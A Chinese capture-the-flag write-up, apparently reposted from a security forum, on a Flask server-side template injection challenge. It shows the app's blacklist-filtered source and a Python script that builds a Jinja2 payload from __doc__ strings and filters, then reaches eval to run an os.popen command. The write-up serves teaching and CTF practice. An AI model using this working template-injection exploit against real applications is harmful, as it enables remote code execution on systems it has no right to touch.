从一道题看jinja2过滤器在flask模板注入的用处 - 东大村的猹

admin 2021年12月31日15:53:40评论68 views字数 3366阅读11分13秒阅读模式

题目来源是2020年DASCTF 8月赛 ,通过这道题好好学习到了一些python jinja2 ssti的姿势。当时没做出来,后来参考颖奇师傅的博客做的。

链接:https://www.gem-love.com/ctf/2598.html

这道题目和最一般的ssti有些不一样,这道题更多的是利用了jinja2本身自带的过滤器进行了字符串的构造,又因为global没有被禁用,可以最终找到buitins中的eval进行命令执行,最终获得flag。

题目给了源码:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)

@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base', 
                     'request', 'session', 'add','+', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers','\'', '[', ']', '"', '{}']

        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                print(no)
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

这道题的思路是通过构造最后的RCE语句然后使用eval进行执行。
可以看到在黑名单中,很多常用的方法所需字符都被过滤了,且无法传入引号,这里以往的绕过方法是用chr或者通过request.arg等方法进行绕过,但是这里会发现这两者都已经被过滤,下面从jinja2本身的特性出发进行,payload的构造。

从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
任何未被定义的变量在jinja2模板中都会默认成Undefined,我们可以通过这个类来找到builtins中的函数。
同时python类中有一个魔术方法是doc,其作用是返回类或函数的文档字符串,如果不存在则为None,由于大部分通过调包使用的类都有着良好的编程规范,都会对类定义doc方法。那么是不是可以通过这个方法来获得我们所需要的字符串呢?
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
可以看到可以利用的字符还是挺多的,下面就是通过这些字符和jinja2的过滤器及全局函数进行RCE语句构造。
jinja2内置过滤器清单:http://doc.yonyoucloud.com/doc/jinja2-docs-cn/templates.html
下面是几个要用到的过滤器和全局函数的介绍:
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
下面先通过构造%c来,然后通过格式化字符串来构造任意字符。
python可以利用%进行格式化字符串。
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
%c通过传入字符的ascii码进行格式化字符串。
先构造%

{%set te=(a.__doc__|urlencode|list()).pop(3)%}

从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
构造%c

{%set te=(a.__doc__|urlencode|list()).pop(3)%}
{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}

从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
构造任意字符

{%set udl2=udl%(99)%}{{udl2}}

其中udl2就是任意构造的字符
由于这道题中+也被过滤了,寻找jinja2中定义的字符串拼接运算符
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
有了拼接字符和字符串拼接运算符,我们可以构造任意字符串。
poc如下:

base_exp='''
{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}'''
tmplate="{%set udl"+"{}"+"=udl%("+"{}"+")%}"
payload="__import__('os').popen('dir').read()"
data=""
exp=""
for i in range(len(payload)):
    data+="{%set udl"+str(i)+"=udl%("+str(ord(payload[i]))+")%}"
for i in range(len(payload)):
    exp+="udl{}~".format(i)
exp=exp[0:len(exp)-1]
exp_mid=base_exp+data+"{%"+"set exp="+exp+"%}"

最后就是通过在globals里面寻找eval函数,执行exp。这部分参考了颖奇师傅的部分。最终exp如下:

base_exp='''
{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set te=(a.__doc__|urlencode|list()).pop(3)%}{%set c=dict(c=1)|join%}{%set udl=dict(a=te,w=c).values()|join %}'''
tmplate="{%set udl"+"{}"+"=udl%("+"{}"+")%}"
payload="__import__('os').popen('dir').read()"
data=""
exp=""
for i in range(len(payload)):
    data+="{%set udl"+str(i)+"=udl%("+str(ord(payload[i]))+")%}"
for i in range(len(payload)):
    exp+="udl{}~".format(i)
exp=exp[0:len(exp)-1]
exp_mid=base_exp+data+"{%"+"set exp="+exp+"%}"
exp_end='''{% set bu = dict(__buil=aa,tins__=dd)|join() %}{% set ev = dict(ev=aa,al=dd)|join() %}{% for f,v in kkkkk.__init__.__globals__.items() %}{% if f == bu %} {% for a,b in v.items() %}{% if a == ev %}{%set func=b %}{{func(exp)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
'''
print(exp_mid+exp_end)

注意,如果最终从shell复制输出的exp的话,可能会存在空格丢失的情况,建议检查一下或者输出到文件。
结果:
从一道题看jinja2过滤器在flask模板注入的用处 -  东大村的猹
参考链接:
https://xz.aliyun.com/t/8029

https://www.anquanke.com/post/id/188172

https://www.gem-love.com/ctf/2598.html

https://p0sec.net/index.php/archives/120/

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:53:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从一道题看jinja2过滤器在flask模板注入的用处 - 东大村的猹http://cn-sec.com/archives/712966.html

发表评论

匿名网友 填写信息